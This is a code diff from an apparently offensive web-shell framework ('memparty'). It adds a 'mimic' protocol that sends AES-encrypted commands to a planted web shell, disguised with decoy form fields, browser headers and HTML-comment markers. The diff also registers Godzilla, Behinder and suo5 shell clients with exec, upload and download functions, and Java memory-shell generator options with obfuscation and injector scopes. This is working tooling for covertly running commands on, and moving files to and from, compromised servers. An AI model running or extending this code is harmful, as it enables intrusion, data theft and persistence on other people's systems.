function deriveMarkers(pass, secretKey, cipher = LEGACY_CIPHER) {
|
|
2025
|
+
const id = md5Hex(pass + secretKey).slice(0, 5);
|
|
2026
|
+
if (cipher.marker === "html-comment") {
|
|
2027
|
+
const left2 = `<!--Re${id}_config:`;
|
|
2028
|
+
return { left: left2, right: "-->", wrap: (p) => `${left2}${p}-->` };
|
|
2029
|
+
}
|
|
2030
|
+
const left = `var Re${id}_config="`;
|
|
2031
|
+
return { left, right: '";', wrap: (p) => `<script>${left}${p}";</script>` };
|
|
2032
|
+
}
|
|
2033
|
+
|
|
2034
|
+
// src/connect/mimic-shared.ts
|
|
2035
|
+
import { randomBytes as randomBytes4, randomInt as randomInt2, randomUUID } from "crypto";
|
|
2036
|
+
function deriveAesKey(secretKey) {
|
|
2037
|
+
return md5Key16(secretKey);
|
|
2038
|
+
}
|
|
2039
|
+
function renderFieldValue(value) {
|
|
2040
|
+
return value.replaceAll(
|
|
2041
|
+
/\{\{hex:(\d+)\}\}/g,
|
|
2042
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) / 2)).toString("hex").slice(0, Number(n))
|
|
2043
|
+
).replaceAll(
|
|
2044
|
+
/\{\{b64:(\d+)\}\}/g,
|
|
2045
|
+
(_m, n) => randomBytes4(Math.ceil(Number(n) * 3 / 4)).toString("base64url").slice(0, Number(n))
|
|
2046
|
+
).replaceAll(/\{\{uuid\}\}/g, () => randomUUID()).replaceAll(/\{\{ts\}\}/g, () => String(Math.floor(Date.now() / 1e3))).replaceAll(
|
|
2047
|
+
/\{\{int:(\d+):(\d+)\}\}/g,
|
|
2048
|
+
(_m, a, b) => String(randomInt2(Number(a), Number(b) + 1))
|
|
2049
|
+
);
|
|
2050
|
+
}
|
|
2051
|
+
function encryptField2(plaintext, aesKey, cipher = LEGACY_CIPHER) {
|
|
2052
|
+
return encryptField(plaintext, aesKey, cipher);
|
|
2053
|
+
}
|
|
2054
|
+
function decryptField2(value, aesKey, cipher = LEGACY_CIPHER) {
|
|
2055
|
+
return decryptField(value, aesKey, cipher);
|
|
2056
|
+
}
|
|
2057
|
+
function buildFormBody(fields) {
|
|
2058
|
+
return Buffer.from(
|
|
2059
|
+
fields.map((f) => `${f.name}=${encodeURIComponent(f.value)}`).join("&"),
|
|
2060
|
+
"utf8"
|
|
2061
|
+
);
|
|
2062
|
+
}
|
|
2063
|
+
function buildJsonBody(fields) {
|
|
2064
|
+
const obj = {};
|
|
2065
|
+
for (const f of fields) obj[f.name] = f.value;
|
|
2066
|
+
return Buffer.from(JSON.stringify(obj), "utf8");
|
|
2067
|
+
}
|
|
2068
|
+
function renderBodyTemplate(template, payload) {
|
|
2069
|
+
return Buffer.from(renderFieldValue(template.replaceAll("{{payload}}", payload)), "utf8");
|
|
2070
|
+
}
|
|
2071
|
+
function extractBetween(text, left, right) {
|
|
2072
|
+
const start = text.indexOf(left);
|
|
2073
|
+
if (start === -1) return null;
|
|
2074
|
+
const valueStart = start + left.length;
|
|
2075
|
+
if (right === "") return text.slice(valueStart);
|
|
2076
|
+
const end = text.indexOf(right, valueStart);
|
|
2077
|
+
if (end === -1) return null;
|
|
2078
|
+
return text.slice(valueStart, end);
|
|
2079
|
+
}
|
|
2080
|
+
function templateDelimiters(templates, markers) {
|
|
2081
|
+
const out = [];
|
|
2082
|
+
let markerUsed = false;
|
|
2083
|
+
for (const t of templates) {
|
|
2084
|
+
const idx = t.template.indexOf("{{payload}}");
|
|
2085
|
+
if (idx !== -1) {
|
|
2086
|
+
out.push({
|
|
2087
|
+
left: t.template.slice(0, idx),
|
|
2088
|
+
right: t.template.slice(idx + "{{payload}}".length)
|
|
2089
|
+
});
|
|
2090
|
+
} else if (!markerUsed) {
|
|
2091
|
+
out.push({ left: markers.left, right: markers.right });
|
|
2092
|
+
markerUsed = true;
|
|
2093
|
+
}
|
|
2094
|
+
}
|
|
2095
|
+
if (out.length === 0) out.push({ left: markers.left, right: markers.right });
|
|
2096
|
+
return out;
|
|
2097
|
+
}
|
|
2098
|
+
|
|
2099
|
+
// src/connect/mimic.ts
|
|
2100
|
+
var BROWSER_HEADERS = {
|
|
2101
|
+
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
|
|
2102
|
+
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
2103
|
+
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
|
|
2104
|
+
"Content-Type": "application/x-www-form-urlencoded"
|
|
2105
|
+
};
|
|
2106
|
+
function buildContext(req) {
|
|
2107
|
+
const pass = req.conn.pass ?? "pass";
|
|
2108
|
+
const secretKey = req.conn.key ?? "key";
|
|
2109
|
+
let profile;
|
|
2110
|
+
const profileName = req.options.profile ?? req.conn.profile;
|
|
2111
|
+
if (profileName) {
|
|
2112
|
+
profile = loadProfile(profileName);
|
|
2113
|
+
}
|
|
2114
|
+
const cipher = resolveCipher(profile?.cipher);
|
|
2115
|
+
return {
|
|
2116
|
+
pass,
|
|
2117
|
+
aesKey: deriveAesKey(secretKey),
|
|
2118
|
+
cipher,
|
|
2119
|
+
markers: deriveMarkers(pass, secretKey, cipher),
|
|
2120
|
+
profile,
|
|
2121
|
+
dynamicPath: req.options.dynamicPath ?? false
|
|
2122
|
+
};
|
|
2123
|
+
}
|
|
2124
|
+
function pickRequestUrl(connUrl, ctx) {
|
|
2125
|
+
if (!ctx.dynamicPath || !ctx.profile || ctx.profile.paths.length === 0) {
|
|
2126
|
+
return connUrl;
|
|
2127
|
+
}
|
|
2128
|
+
const origin = new URL(connUrl).origin;
|
|
2129
|
+
const dir = ctx.profile.paths[randomInt3(ctx.profile.paths.length)];
|
|
2130
|
+
const slug = randomString(8).toLowerCase();
|
|
2131
|
+
return `${origin}${dir}${slug}`;
|
|
2132
|
+
}
|
|
2133
|
+
async function roundTrip(req, ctx, plaintext) {
|
|
2134
|
+
let requestUrl = pickRequestUrl(req.conn.url, ctx);
|
|
2135
|
+
const shape = pickRequestShape(ctx.profile ? profileRequests(ctx.profile) : []);
|
|
2136
|
+
const secretField = shape?.secretField ?? ctx.pass;
|
|
2137
|
+
const secretIn = shape?.secretIn ?? "body";
|
|
2138
|
+
const bodyStyle = shape?.bodyStyle ?? "form";
|
|
2139
|
+
const cipher = encryptField2(Buffer.from(plaintext, "utf8"), ctx.aesKey, ctx.cipher);
|
|
2140
|
+
const decoys = (shape?.fields ?? []).map((f) => ({
|
|
2141
|
+
name: f.name,
|
|
2142
|
+
value: renderFieldValue(f.value)
|
|
2143
|
+
}));
|
|
2144
|
+
let body;
|
|
2145
|
+
const extraHeaders = {};
|
|
2146
|
+
if (secretIn === "query") {
|
|
2147
|
+
const qs = buildFormBody([...decoys, { name: secretField, value: cipher }]).toString();
|
|
2148
|
+
requestUrl += (requestUrl.includes("?") ? "&" : "?") + qs;
|
|
2149
|
+
body = Buffer.alloc(0);
|
|
2150
|
+
} else if (secretIn === "header") {
|
|
2151
|
+
extraHeaders[secretField] = cipher;
|
|
2152
|
+
body = bodyStyle === "json" ? buildJsonBody(decoys) : buildFormBody(decoys);
|
|
2153
|
+
} else if (shape?.bodyTemplate) {
|
|
2154
|
+
body = renderBodyTemplate(shape.bodyTemplate, cipher);
|
|
2155
|
+
} else {
|
|
2156
|
+
body = bodyStyle === "json" ? buildJsonBody([...decoys, { name: secretField, value: cipher }]) : buildFormBody([...decoys, { name: secretField, value: cipher }]);
|
|
2157
|
+
}
|
|
2158
|
+
const baseHeaders = { ...BROWSER_HEADERS };
|
|
2159
|
+
if (secretIn === "query") delete baseHeaders["Content-Type"];
|
|
2160
|
+
else if (shape?.bodyTemplate) {
|
|
2161
|
+
const t = shape.bodyTemplate.trimStart();
|
|
2162
|
+
if (t.startsWith("--")) {
|
|
2163
|
+
const boundary = t.split(/\r?\n/, 1)[0].slice(2);
|
|
2164
|
+
baseHeaders["Content-Type"] = `multipart/form-data; boundary=${boundary}`;
|
|
2165
|
+
} else {
|
|
2166
|
+
const inferred = inferBodyTemplateContentType(shape.bodyTemplate);
|
|
2167
|
+
if (inferred) baseHeaders["Content-Type"] = inferred;
|
|
2168
|
+
else delete baseHeaders["Content-Type"];
|
|
2169
|
+
}
|
|
2170
|
+
} else if (bodyStyle === "json") baseHeaders["Content-Type"] = "application/json";
|
|
2171
|
+
const headers = buildHeaders(
|
|
2172
|
+
{ ...baseHeaders, ...extraHeaders, ...shape?.headers ?? {} },
|
|
2173
|
+
req.common
|
|
2174
|
+
);
|
|
2175
|
+
let res;
|
|
2176
|
+
try {
|
|
2177
|
+
res = await postRaw(requestUrl, body, {
|
|
2178
|
+
headers,
|
|
2179
|
+
timeoutMs: req.common.timeoutMs,
|
|
2180
|
+
insecure: req.common.insecure
|
|
2181
|
+
});
|
|
2182
|
+
} catch (err) {
|
|
2183
|
+
return {
|
|
2184
|
+
ok: false,
|
|
2185
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2186
|
+
requestUrl,
|
|
2187
|
+
status: 0,
|
|
2188
|
+
durationMs: 0
|
|
2189
|
+
};
|
|
2190
|
+
}
|
|
2191
|
+
if (res.status !== 200) {
|
|
2192
|
+
return {
|
|
2193
|
+
ok: false,
|
|
2194
|
+
error: `HTTP ${res.status} \u2014 the endpoint did not answer like a mimic shell`,
|
|
2195
|
+
requestUrl,
|
|
2196
|
+
status: res.status,
|
|
2197
|
+
durationMs: res.durationMs
|
|
2198
|
+
};
|
|
2199
|
+
}
|
|
2200
|
+
const text = res.body.toString("utf8");
|
|
2201
|
+
const delimiters = templateDelimiters(
|
|
2202
|
+
ctx.profile ? profileTemplates(ctx.profile) : [],
|
|
2203
|
+
ctx.markers
|
|
2204
|
+
);
|
|
2205
|
+
let b64 = null;
|
|
2206
|
+
for (const d of delimiters) {
|
|
2207
|
+
b64 = extractBetween(text, d.left, d.right);
|
|
2208
|
+
if (b64 !== null) break;
|
|
2209
|
+
}
|
|
2210
|
+
if (b64 === null) {
|
|
2211
|
+
return {
|
|
2212
|
+
ok: false,
|
|
2213
|
+
error: "response marker not found \u2014 wrong pass/key, or the page is not a mimic shell",
|
|
2214
|
+
requestUrl,
|
|
2215
|
+
status: res.status,
|
|
2216
|
+
durationMs: res.durationMs
|
|
2217
|
+
};
|
|
2218
|
+
}
|
|
2219
|
+
try {
|
|
2220
|
+
const output = decryptField2(b64, ctx.aesKey, ctx.cipher).toString("utf8");
|
|
2221
|
+
return { ok: true, output, requestUrl, status: res.status, durationMs: res.durationMs };
|
|
2222
|
+
} catch {
|
|
2223
|
+
return {
|
|
2224
|
+
ok: false,
|
|
2225
|
+
error: "response decryption failed \u2014 wrong key?",
|
|
2226
|
+
requestUrl,
|
|
2227
|
+
status: res.status,
|
|
2228
|
+
durationMs: res.durationMs
|
|
2229
|
+
};
|
|
2230
|
+
}
|
|
2231
|
+
}
|
|
2232
|
+
var mimicProtocol = {
|
|
2233
|
+
name: "mimic",
|
|
2234
|
+
description: "site-mimicking demo protocol (profile-driven HTML skin + dynamic paths)",
|
|
2235
|
+
async test(req) {
|
|
2236
|
+
const started = Date.now();
|
|
2237
|
+
const tool = "mimic";
|
|
2238
|
+
const url = req.conn.url;
|
|
2239
|
+
let ctx;
|
|
2240
|
+
try {
|
|
2241
|
+
ctx = buildContext(req);
|
|
2242
|
+
} catch (err) {
|
|
2243
|
+
return {
|
|
2244
|
+
ok: false,
|
|
2245
|
+
tool,
|
|
2246
|
+
url,
|
|
2247
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2248
|
+
durationMs: Date.now() - started
|
|
2249
|
+
};
|
|
2250
|
+
}
|
|
2251
|
+
const canary = randomString(12);
|
|
2252
|
+
const r = await roundTrip(req, ctx, `echo ${canary}`);
|
|
2253
|
+
if (!r.ok) {
|
|
2254
|
+
return { ok: false, tool, url, error: r.error, durationMs: Date.now() - started };
|
|
2255
|
+
}
|
|
2256
|
+
if (!r.output.includes(canary)) {
|
|
2257
|
+
return {
|
|
2258
|
+
ok: false,
|
|
2259
|
+
tool,
|
|
2260
|
+
url,
|
|
2261
|
+
error: "round-trip mismatch \u2014 endpoint decrypted but did not execute the canary",
|
|
2262
|
+
durationMs: Date.now() - started
|
|
2263
|
+
};
|
|
2264
|
+
}
|
|
2265
|
+
const profileNote = ctx.profile ? `profile=${ctx.profile.name}` : "no profile";
|
|
2266
|
+
const pathNote = r.requestUrl === url ? "fixed path" : `dynamic path ${r.requestUrl}`;
|
|
2267
|
+
return {
|
|
2268
|
+
ok: true,
|
|
2269
|
+
tool,
|
|
2270
|
+
url,
|
|
2271
|
+
detail: `round-trip ok (${profileNote}; ${pathNote})`,
|
|
2272
|
+
durationMs: Date.now() - started
|
|
2273
|
+
};
|
|
2274
|
+
},
|
|
2275
|
+
async exec(req, command) {
|
|
2276
|
+
const started = Date.now();
|
|
2277
|
+
const tool = "mimic";
|
|
2278
|
+
const url = req.conn.url;
|
|
2279
|
+
let ctx;
|
|
2280
|
+
try {
|
|
2281
|
+
ctx = buildContext(req);
|
|
2282
|
+
} catch (err) {
|
|
2283
|
+
return {
|
|
2284
|
+
ok: false,
|
|
2285
|
+
tool,
|
|
2286
|
+
url,
|
|
2287
|
+
command,
|
|
2288
|
+
error: err instanceof Error ? err.message : String(err),
|
|
2289
|
+
durationMs: Date.now() - started
|
|
2290
|
+
};
|
|
2291
|
+
}
|
|
2292
|
+
const r = await roundTrip(req, ctx, command);
|
|
2293
|
+
if (!r.ok) {
|
|
2294
|
+
return { ok: false, tool, url, command, error: r.error, durationMs: Date.now() - started };
|
|
2295
|
+
}
|
|
2296
|
+
return { ok: true, tool, url, command, output: r.output, durationMs: Date.now() - started };
|
|
2297
|
+
}
|
|
2298
|
+
};
|
|
2299
|
+
|
|
2300
|
+
// src/connect/registry.ts
|
|
2301
|
+
var protocols = /* @__PURE__ */ new Map();
|
|
2302
|
+
function registerProtocol(protocol) {
|
|
2303
|
+
protocols.set(protocol.name, protocol);
|
|
2304
|
+
}
|
|
2305
|
+
function getProtocol(name) {
|
|
2306
|
+
return protocols.get(name);
|
|
2307
|
+
}
|
|
2308
|
+
function protocolNames(capability) {
|
|
2309
|
+
const all = [...protocols.values()];
|
|
2310
|
+
const usable = capability ? all.filter((p) => p[capability] !== void 0) : all;
|
|
2311
|
+
return usable.map((p) => p.name);
|
|
2312
|
+
}
|
|
2313
|
+
function requireProtocol(name) {
|
|
2314
|
+
const protocol = getProtocol(name);
|
|
2315
|
+
if (!protocol) {
|
|
2316
|
+
throw new Error(`unknown protocol ${JSON.stringify(name)} (available: ${protocolNames().join(", ")})`);
|
|
2317
|
+
}
|
|
2318
|
+
return protocol;
|
|
2319
|
+
}
|
|
2320
|
+
function unsupportedMessage(protocol, capability) {
|
|
2321
|
+
return `protocol '${protocol.name}' does not support ${capability}`;
|
|
2322
|
+
}
|
|
2323
|
+
var godzillaProtocol = {
|
|
2324
|
+
name: "godzilla",
|
|
2325
|
+
description: "Godzilla JAVA_AES_BASE64 shell",
|
|
2326
|
+
test: ({ conn, common }) => testGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", common),
|
|
2327
|
+
exec: ({ conn, common, options }, command) => execGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", command, {
|
|
2328
|
+
...common,
|
|
2329
|
+
os: options.os
|
|
2330
|
+
}),
|
|
2331
|
+
upload: ({ conn, common, options }, remotePath, data) => uploadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, data, {
|
|
2332
|
+
...common,
|
|
2333
|
+
remoteCharset: options.remoteCharset
|
|
2334
|
+
}),
|
|
2335
|
+
download: ({ conn, common, options }, remotePath) => downloadGodzilla(conn.url, conn.pass ?? "pass", conn.key ?? "key", remotePath, {
|
|
2336
|
+
...common,
|
|
2337
|
+
remoteCharset: options.remoteCharset
|
|
2338
|
+
})
|
|
2339
|
+
};
|
|
2340
|
+
var behinderProtocol = {
|
|
2341
|
+
name: "behinder",
|
|
2342
|
+
description: "Behinder AES shell",
|
|
2343
|
+
test: ({ conn, common }) => testBehinder(conn.url, conn.pass ?? "rebeyond", common),
|
|
2344
|
+
exec: ({ conn, common }, command) => execBehinder(conn.url, conn.pass ?? "rebeyond", command, common),
|
|
2345
|
+
upload: ({ conn, common }, remotePath, data) => uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common),
|
|
2346
|
+
download: ({ conn, common }, remotePath) => downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common)
|
|
2347
|
+
};
|
|
2348
|
+
var suo5Protocol = {
|
|
2349
|
+
name: "suo5",
|
|
2350
|
+
description: "suo5 HTTP tunnel (connect test only)",
|
|
2351
|
+
test: ({ conn, common, options }) => testSuo5(conn.url, { ...common, mode: options.suo5Mode })
|
|
2352
|
+
};
|
|
2353
|
+
registerProtocol(godzillaProtocol);
|
|
2354
|
+
registerProtocol(behinderProtocol);
|
|
2355
|
+
registerProtocol(suo5Protocol);
|
|
2356
|
+
registerProtocol(mimicProtocol);
|
|
2357
|
+
|
|
1650
2358
|
// src/core/localfile.ts
|
|
1651
|
-
import { existsSync as
|
|
1652
|
-
import { dirname as dirname2, join as
|
|
2359
|
+
import { existsSync as existsSync3, readFileSync as readFileSync4, statSync } from "fs";
|
|
2360
|
+
import { dirname as dirname2, join as join4, resolve } from "path";
|
|
1653
2361
|
var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
|
|
1654
2362
|
function remoteBasename(remotePath) {
|
|
1655
2363
|
const trimmed = remotePath.replace(/[/\\]+$/, "");
|
|
@@ -1666,18 +2374,18 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
1666
2374
|
);
|
|
1667
2375
|
}
|
|
1668
2376
|
target = name;
|
|
1669
|
-
} else if (
|
|
2377
|
+
} else if (existsSync3(localArg) && statSync(localArg).isDirectory()) {
|
|
1670
2378
|
if (!name) {
|
|
1671
2379
|
throw new Error(
|
|
1672
2380
|
`cannot derive a local filename from remote path ${JSON.stringify(remotePath)} \u2014 pass -o with a file path`
|
|
1673
2381
|
);
|
|
1674
2382
|
}
|
|
1675
|
-
target =
|
|
2383
|
+
target = join4(localArg, name);
|
|
1676
2384
|
} else {
|
|
1677
2385
|
target = localArg;
|
|
1678
2386
|
}
|
|
1679
2387
|
const abs = resolve(target);
|
|
1680
|
-
if (
|
|
2388
|
+
if (existsSync3(abs)) {
|
|
1681
2389
|
if (statSync(abs).isDirectory()) {
|
|
1682
2390
|
throw new Error(`local path ${target} is a directory \u2014 pass -o with a file path`);
|
|
1683
2391
|
}
|
|
@@ -1686,13 +2394,13 @@ function resolveDownloadPath(remotePath, localArg, force) {
|
|
|
1686
2394
|
}
|
|
1687
2395
|
}
|
|
1688
2396
|
const parent = dirname2(abs);
|
|
1689
|
-
if (!
|
|
2397
|
+
if (!existsSync3(parent) || !statSync(parent).isDirectory()) {
|
|
1690
2398
|
throw new Error(`local directory ${parent} does not exist`);
|
|
1691
2399
|
}
|
|
1692
2400
|
return abs;
|
|
1693
2401
|
}
|
|
1694
2402
|
function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
1695
|
-
if (!
|
|
2403
|
+
if (!existsSync3(localPath)) {
|
|
1696
2404
|
throw new Error(`local file ${localPath} does not exist`);
|
|
1697
2405
|
}
|
|
1698
2406
|
const stat = statSync(localPath);
|
|
@@ -1704,29 +2412,29 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
|
|
|
1704
2412
|
`local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
|
|
1705
2413
|
);
|
|
1706
2414
|
}
|
|
1707
|
-
return
|
|
2415
|
+
return readFileSync4(localPath);
|
|
1708
2416
|
}
|
|
1709
2417
|
|
|
1710
2418
|
// src/core/targets.ts
|
|
1711
|
-
import { existsSync as
|
|
1712
|
-
import { homedir as
|
|
1713
|
-
import { dirname as dirname3, join as
|
|
1714
|
-
var
|
|
2419
|
+
import { existsSync as existsSync4, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2420
|
+
import { homedir as homedir4 } from "os";
|
|
2421
|
+
import { dirname as dirname3, join as join5 } from "path";
|
|
2422
|
+
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
1715
2423
|
function checkName(kind, name) {
|
|
1716
|
-
if (!
|
|
2424
|
+
if (!NAME_RE2.test(name)) {
|
|
1717
2425
|
throw new Error(
|
|
1718
2426
|
`invalid ${kind} name ${JSON.stringify(name)} \u2014 use letters, digits, '.', '_', '-'`
|
|
1719
2427
|
);
|
|
1720
2428
|
}
|
|
1721
2429
|
}
|
|
1722
2430
|
function targetStorePath() {
|
|
1723
|
-
return process.env.MEMPARTY_TARGETS ??
|
|
2431
|
+
return process.env.MEMPARTY_TARGETS ?? join5(homedir4(), ".memparty", "targets.json");
|
|
1724
2432
|
}
|
|
1725
2433
|
function listProjects() {
|
|
1726
2434
|
try {
|
|
1727
2435
|
const file = targetStorePath();
|
|
1728
|
-
if (!
|
|
1729
|
-
const data = JSON.parse(
|
|
2436
|
+
if (!existsSync4(file)) return {};
|
|
2437
|
+
const data = JSON.parse(readFileSync5(file, "utf8"));
|
|
1730
2438
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
1731
2439
|
return data;
|
|
1732
2440
|
}
|
|
@@ -1739,8 +2447,8 @@ function getProject(name) {
|
|
|
1739
2447
|
}
|
|
1740
2448
|
function writeProjects(projects) {
|
|
1741
2449
|
const file = targetStorePath();
|
|
1742
|
-
|
|
1743
|
-
|
|
2450
|
+
mkdirSync3(dirname3(file), { recursive: true });
|
|
2451
|
+
writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
|
|
1744
2452
|
`, { mode: 384 });
|
|
1745
2453
|
}
|
|
1746
2454
|
function saveProjectMeta(name, meta) {
|
|
@@ -1848,7 +2556,8 @@ function autoSaveShell(conn) {
|
|
|
1848
2556
|
headerValue: conn.headerValue,
|
|
1849
2557
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
1850
2558
|
insecure: conn.insecure,
|
|
1851
|
-
profile: conn.profile
|
|
2559
|
+
profile: conn.profile,
|
|
2560
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
1852
2561
|
});
|
|
1853
2562
|
return `${projectName}/${shellName}`;
|
|
1854
2563
|
}
|
|
@@ -1902,10 +2611,47 @@ function resolveConnection(ref, flags) {
|
|
|
1902
2611
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
1903
2612
|
insecure: flags.insecure ?? stored?.insecure,
|
|
1904
2613
|
profile: flags.profile ?? stored?.profile,
|
|
2614
|
+
upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
|
|
1905
2615
|
targetName
|
|
1906
2616
|
};
|
|
1907
2617
|
}
|
|
1908
2618
|
|
|
2619
|
+
// src/core/obfuscation.ts
|
|
2620
|
+
function parseObfuscationOptions(input) {
|
|
2621
|
+
if (input === void 0 || input.trim() === "") return void 0;
|
|
2622
|
+
const options = {};
|
|
2623
|
+
for (const entry of input.split(/[,\n]/)) {
|
|
2624
|
+
const separator = entry.indexOf("=");
|
|
2625
|
+
const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
|
|
2626
|
+
if (separator < 0 || key === "") {
|
|
2627
|
+
throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
|
|
2628
|
+
}
|
|
2629
|
+
if (Object.hasOwn(options, key)) {
|
|
2630
|
+
throw new Error(`Duplicate obfuscation option "${key}".`);
|
|
2631
|
+
}
|
|
2632
|
+
const value = entry.slice(separator + 1).trim();
|
|
2633
|
+
if (value === "true" || value === "false") {
|
|
2634
|
+
options[key] = value === "true";
|
|
2635
|
+
} else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
|
|
2636
|
+
options[key] = Number(value);
|
|
2637
|
+
} else {
|
|
2638
|
+
options[key] = value;
|
|
2639
|
+
}
|
|
2640
|
+
}
|
|
2641
|
+
return options;
|
|
2642
|
+
}
|
|
2643
|
+
|
|
2644
|
+
// src/core/agent.ts
|
|
2645
|
+
function supportsAgentLoadArguments(shellType, packer) {
|
|
2646
|
+
return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
|
|
2647
|
+
}
|
|
2648
|
+
function agentLoadExamples(agentArgs) {
|
|
2649
|
+
return [
|
|
2650
|
+
`java -jar agent.jar <pid> ${agentArgs}`,
|
|
2651
|
+
`jattach <pid> load instrument false agent.jar=${agentArgs}`
|
|
2652
|
+
];
|
|
2653
|
+
}
|
|
2654
|
+
|
|
1909
2655
|
// src/version.ts
|
|
1910
2656
|
import { createRequire } from "module";
|
|
1911
2657
|
var require2 = createRequire(import.meta.url);
|
|
@@ -1936,12 +2682,15 @@ var memShellInput = {
|
|
|
1936
2682
|
shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
|
|
1937
2683
|
shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
|
|
1938
2684
|
packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
|
|
1939
|
-
jdk: z.string().optional().describe("java6/8/9/11/17/21 or class-file major version"),
|
|
2685
|
+
jdk: z.string().optional().describe("java6/8/9/11/17/21/25 or class-file major version"),
|
|
1940
2686
|
debug: z.boolean().optional(),
|
|
1941
2687
|
byPassJavaModule: z.boolean().optional(),
|
|
1942
2688
|
shrink: z.boolean().optional(),
|
|
1943
2689
|
lambdaSuffix: z.boolean().optional(),
|
|
1944
2690
|
probe: z.boolean().optional(),
|
|
2691
|
+
obfuscate: z.boolean().optional(),
|
|
2692
|
+
obfuscationOptions: z.string().optional().describe("obfuscation overrides: key=value, comma-separated"),
|
|
2693
|
+
obfuscationScope: z.enum(["ALL", "MEMSHELL_INJECTOR", "INJECTOR", "MEMSHELL"]).optional(),
|
|
1945
2694
|
shellClassName: z.string().optional(),
|
|
1946
2695
|
godzillaPass: z.string().optional(),
|
|
1947
2696
|
godzillaKey: z.string().optional(),
|
|
@@ -1957,19 +2706,22 @@ var memShellInput = {
|
|
|
1957
2706
|
urlPattern: z.string().optional(),
|
|
1958
2707
|
injectorClassName: z.string().optional(),
|
|
1959
2708
|
staticInitialize: z.boolean().optional(),
|
|
2709
|
+
agentArgs: z.string().optional().describe("Agent load-time arguments (persist=true / restore=true); not sent to the generate API"),
|
|
1960
2710
|
outputFile: z.string().optional().describe(
|
|
1961
2711
|
"also write the packed payload to this local file (auto base64-decodes for .class/.jar/.zip/.ser/.bin); the response gains an outputFile field with the write result. Fails for aggregate packers that return several variants \u2014 pick a leaf packer (e.g. DefaultBase64)."
|
|
1962
2712
|
)
|
|
1963
2713
|
};
|
|
1964
2714
|
var probeInput = {
|
|
1965
|
-
probeMethod: z.enum(["ResponseBody", "DNSLog", "Sleep"]),
|
|
1966
|
-
probeContent: z.string().describe("
|
|
2715
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader", "DNSLog", "Sleep"]),
|
|
2716
|
+
probeContent: z.string().describe("Server, JDK, Bytecode, Command, ScriptEngine, Filter"),
|
|
1967
2717
|
packer: z.string(),
|
|
1968
2718
|
jdk: z.string().optional(),
|
|
1969
2719
|
debug: z.boolean().optional(),
|
|
1970
2720
|
byPassJavaModule: z.boolean().optional(),
|
|
1971
2721
|
shrink: z.boolean().optional(),
|
|
1972
2722
|
lambdaSuffix: z.boolean().optional(),
|
|
2723
|
+
obfuscate: z.boolean().optional(),
|
|
2724
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
1973
2725
|
staticInitialize: z.boolean().optional(),
|
|
1974
2726
|
shellClassName: z.string().optional(),
|
|
1975
2727
|
host: z.string().optional(),
|
|
@@ -1978,8 +2730,31 @@ var probeInput = {
|
|
|
1978
2730
|
server: z.string().optional(),
|
|
1979
2731
|
reqParamName: z.string().optional(),
|
|
1980
2732
|
commandTemplate: z.string().optional(),
|
|
2733
|
+
respHeaderName: z.string().optional(),
|
|
1981
2734
|
outputFile: memShellInput.outputFile
|
|
1982
2735
|
};
|
|
2736
|
+
var bytecodeInput = {
|
|
2737
|
+
classBytesBase64: z.string().describe("Base64 or GzipBase64 class bytes"),
|
|
2738
|
+
outputFile: z.string().optional().describe("also write the transformed class to this local file")
|
|
2739
|
+
};
|
|
2740
|
+
var bytecodeTransformInput = {
|
|
2741
|
+
...bytecodeInput,
|
|
2742
|
+
packer: z.string().optional(),
|
|
2743
|
+
byPassJavaModule: z.boolean().optional(),
|
|
2744
|
+
staticInitialize: z.boolean().optional(),
|
|
2745
|
+
shrink: z.boolean().optional(),
|
|
2746
|
+
renamePackage: z.boolean().optional(),
|
|
2747
|
+
relocateFrom: z.string().optional(),
|
|
2748
|
+
relocateTo: z.string().optional(),
|
|
2749
|
+
entryMethod: z.string().optional(),
|
|
2750
|
+
newClassName: z.string().optional(),
|
|
2751
|
+
randomName: z.boolean().optional(),
|
|
2752
|
+
obfuscate: z.boolean().optional(),
|
|
2753
|
+
obfuscationOptions: memShellInput.obfuscationOptions,
|
|
2754
|
+
server: z.string().optional(),
|
|
2755
|
+
probeMethod: z.enum(["ResponseBody", "ResponseHeader"]).optional(),
|
|
2756
|
+
respHeaderName: z.string().optional()
|
|
2757
|
+
};
|
|
1983
2758
|
var connectInput = {
|
|
1984
2759
|
name: z.string().optional().describe(
|
|
1985
2760
|
"saved target reference (<project>/<shell>, or a bare project holding exactly one shell) \u2014 when set, url/tool/pass/... fall back to the saved values (see target_save/target_list)"
|
|
